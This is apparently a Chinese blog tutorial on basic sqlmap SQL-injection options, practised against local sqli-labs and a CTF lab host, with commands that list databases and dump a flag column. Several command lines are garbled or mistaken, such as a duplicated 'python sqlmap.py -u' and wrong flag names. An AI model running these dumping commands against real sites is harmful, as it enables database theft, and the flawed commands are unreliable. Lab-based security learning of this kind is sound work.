一、基本操作
- 本文在本地搭建sqlmap靶场测试。
- 先说一个小知识,在测试的时候,可能会让你输入 y 或 n 来确认一些事项,比如说
- 这个时候,可以翻译一下提示,理解一下什么意思,自行决定是y还是n。
1、url探测参数 -u
-
这是最简单的一个参数,指定一个目标url测试是否存在sql注入。
-
使用方法就是像上面的,
-u
后加一个url地址,不过必须加上参数,下面是get传参,post传参后面再介绍。python sqlmap.py -u http://127.0.0.1/?id=1
-
执行探测是否存在注入。
python3 sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1
-
返回存在注入点,并返回注入方式,可以看到测试的payload有联合注入、时间盲注。
-
所以,开始一把梭。
2、 基础使用参数
-- dbs 显示所有数据库名称
-D (数据库名) 选则数据库
--tables 显示所有的表
-T (表名) 选择表
--columns 显示所有的字段
-C (字段名) 选择字段
--dump 显示字段内容
-
使用方法差不多,都是在后面加上参数,分别比如
python sqlmap.py -u http://127.0.0.1/?id=1 --dbs
-
就第一题而已,先看看数据库名称。用参数
--dbs
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs
-
看到列出了6个数据库名称,看到有一个 ctftraining 的数据库,看看它有什么表。用
-D
选择数据库 ctftraining。再用 --ables
参数显示所有表名。python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D ctftraining --tables
-
看到有3个表名,其中就有一个表名为flag,看看字段。用
-D
选择数据库 ctftraining 后 ,再用-T
参数选择表 flag ,然后用 --columns
参数显示所有字段名。python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 -D ctftraining -T flag --columns
-
可以看到有一个flag字段。继续来读取它的内容。用
-D
选择数据库 ctftraining 后 ,再用-T
参数选择表 flag ,然后用-C
选择字段 flag ,最后用--dump
显示字段内容。python sqlmap.py -u http://0d606694-3428-40ab-b138-7cc7ac2b8cc9.node3.buuoj.cn/Less-1/?id=1 -D ctftraining -T flag -C flag --dump
- 就这样,完成了一次最简单的使用。
3、post提交指明参数 --data
-
如果不是get传参,需要 post 传参,则可以使用
--data
参数。比如说第11关。python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/ --data="uname=1&passwd=1"
-
在结合刚刚的基本使用参数,也可以一把梭。举个例子,爆数据库。
python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/ --data="uname=1&passwd=1" --dbs
4、指定测试参数 -p
-
如果只是有多个参数,比如说账号密码,只想测试一个参数,则可以用
-p
指定一个参数,比如说指定测试参数 unamepython sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/ --data="uname=1&passwd=1" -p uname
5、测试延时参数 -delay
-
有的网站如果请求过快会被ban,所以,我们可以延时测试请求。用-p参数设置延时时间,单位为秒。比如延时1秒。或者根据实际需求设置更长的时间。
python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/ --data="uname=1&passwd=1" -p uname -delay 1
6、显示等级参数 -v
- 如果说想看到注入测试过程更详细的内容,则可以使用
-v
参数来设置,比如说,看注入过程的payload。
0:只显示python 错误和一些严重信息;
1:显示基本信息(默认);
2:显示debug信息;
3:显示注入过程的payload;
4:显示http请求包;
5:显示http响应头;
6:显示http相应页面。
python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/ --data="uname=1&passwd=1" -p uname -v 3
7、请求方式参数 --method
-
可能url带有参数请求,但是需要post传参,就可以用
--method
来指定 --method=GET/POST传参。比如说python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-11/?id=111 --data="uname=1&passwd=1" --method=post
8、cookie请求参数 --cookie
-
在注入的时候,可能需要身份验证,比如说登录之后才能访问,就可以用
--cookie
加上登录后的cookie再测试。python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-20/?id=111 --data="uname=1&passwd=1" --cookie="a=1" --method=post
9、测试等级参数 --level
- 也有可能注入点在 cookie ,需要测试它的话,就必须提高测试等级 >=2 ,所以,可以用
--level
设置。同时,提高等级也提高了测试payload的复杂度。
共有五个等级,默认为1
level>=2的时候就会测试HTTP Cookie。
level>=3的时候就会测试HTTP User-Agent/Referer头。
level=5 的时候会测试HTTP Host。
-
用sqli-labs第20题测试。成功测出
python sqlmap.py -u python sqlmap.py -u http://127.0.0.1/sqlil-abs/Less-20/ --data="uname=1&passwd=1" --cookie="uname=1" --level 2
最后
- 大概就是这么一篇水文吧,也一起跟着学着基础操作。
- 每次看他们sqlmap一把梭就难受,感觉不是用的同一个sqlmap。